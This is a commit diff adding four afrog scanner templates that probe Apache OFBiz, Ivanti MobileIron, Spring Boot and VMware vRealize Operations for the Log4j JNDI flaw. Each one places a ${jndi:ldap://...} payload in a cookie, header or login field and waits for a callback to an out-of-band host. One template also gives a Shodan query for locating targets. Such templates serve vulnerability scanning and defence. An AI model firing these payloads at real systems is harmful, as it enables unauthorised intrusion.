some log4j unreviewed pocs

Author: zan8in

afrog-pocs/unreviewed/apache-ofbiz-log4j-rce.yaml

@@ -0,0 +1,20 @@
+id: apache-ofbiz-log4j-rce
+
+info:
+  name: Apache OFBiz Log4j JNDI RCE
+  author: pdteam
+  severity: critical
+
+set:
+  hostname: request.url.host
+  reverse: newReverse()
+  reverseURL: reverse.url.host
+rules:
+  r0:
+    request:
+      method: GET
+      path: /webtools/control/main
+      headers:
+        Cookie: OFBiz.Visitor=${jndi:ldap://{{hostname}}.{{reverseURL}}}
+    expression: reverse.wait(5)
+expression:  r0()

afrog-pocs/unreviewed/mobileiron-log4j-jndi-rce.yaml

@@ -0,0 +1,27 @@
+id: mobileiron-log4j-jndi-rce
+
+info:
+  name: Ivanti MobileIron Log4J JNDI RCE
+  author: meme-lord
+  severity: high
+  description: Ivanti MobileIron Apache Log4j2 <=2.14.1 JNDI in features used in configuration, log messages, and parameters do not protect against attacker controlled LDAP and other JNDI related endpoints. An attacker who can control log messages or log message parameters can execute arbitrary code loaded from LDAP servers when message lookup substitution is enabled.
+  remediation: Upgrade to version 2.14.2 or higher of MobileIron. If this is not possible, several Log4j exploit workarounds are available.
+  reference:
+    - https://github.com/advisories/GHSA-jfh8-c2jp-5v3q
+    - https://www.lunasec.io/docs/blog/log4j-zero-day/
+    - https://www.zdnet.com/article/mobileiron-customers-urged-to-patch-systems-due-to-potential-log4j-exploitation/
+    - https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2021-44228
+
+set:
+  hostname: request.url.host
+  reverse: newReverse()
+  reverseURL: reverse.url.host
+rules:
+  r0:
+    request:
+      method: POST
+      path: /mifs/j_spring_security_check
+      body: |
+        j_username=${jndi:ldap://{{hostname}}.{{reverseURL}}}&j_password=password&logincontext=employee
+    expression: reverse.wait(5)
+expression: r0()

afrog-pocs/unreviewed/springboot-log4j-rce.yaml

@@ -0,0 +1,25 @@
+id: springboot-log4j-rce
+
+info:
+  name: Spring Boot Log4j Remote Code Injection
+  author: pdteam
+  severity: critical
+  remediation: Upgrade to Log4j 2.3.1 (for Java 6), 2.12.3 (for Java 7), or 2.17.0 (for Java 8 and later).
+  reference:
+    - https://logging.apache.org/log4j/2.x/security.html
+    - https://www.lunasec.io/docs/blog/log4j-zero-day/
+    - https://github.com/twseptian/Spring-Boot-Log4j-CVE-2021-44228-Docker-Lab
+
+set:
+  hostname: request.url.host
+  reverse: newReverse()
+  reverseURL: reverse.url.host
+rules:
+  r0:
+    request:
+      method: GET
+      path: /
+      headers:
+        X-Api-Version: ${jndi:ldap://{{hostname}}.{{reverseURL}}}
+    expression: reverse.wait(5)
+expression: r0()

afrog-pocs/vulnerability/vrealize-operations-log4j-rce.yaml

@@ -0,0 +1,33 @@
+id: vrealize-operations-log4j-rce
+
+info:
+  name: VMware vRealize Operations Tenant App Log4j JNDI Remote Code Execution
+  author: bughuntersurya
+  severity: critical
+  description: |
+    VMware vRealize Operations is susceptible to a critical vulnerability in Apache Log4j which may allow remote code execution in an impacted vRealize Operations Tenant application.
+    shodan-query: http.title:"vRealize Operations Tenant App"
+  reference:
+    - https://www.vmware.com/security/advisories/VMSA-2021-0028.html
+    - https://core.vmware.com/vmsa-2021-0028-questions-answers-faq
+    - https://nvd.nist.gov/vuln/detail/CVE-2021-44228
+    - https://nvd.nist.gov/vuln/detail/CVE-2021-45046
+
+set:
+  rooturl: request.url
+  hostname: request.url.host
+  reverse: newReverse()
+  reverseURL: reverse.url.host
+rules:
+  r0:
+    request:
+      method: POST
+      path: /suite-api/api/auth/token/acquire
+      headers:
+        Content-Type: application/json
+        Origin: "{{rooturl}}"
+        Referer: "{{rooturl}}/ui/"
+      body: |
+        {"username":"${jndi:ldap://{{hostname}}.{{reverseURL}}}","password":"admin"}
+    expression: reverse.wait(5)
+expression: r0()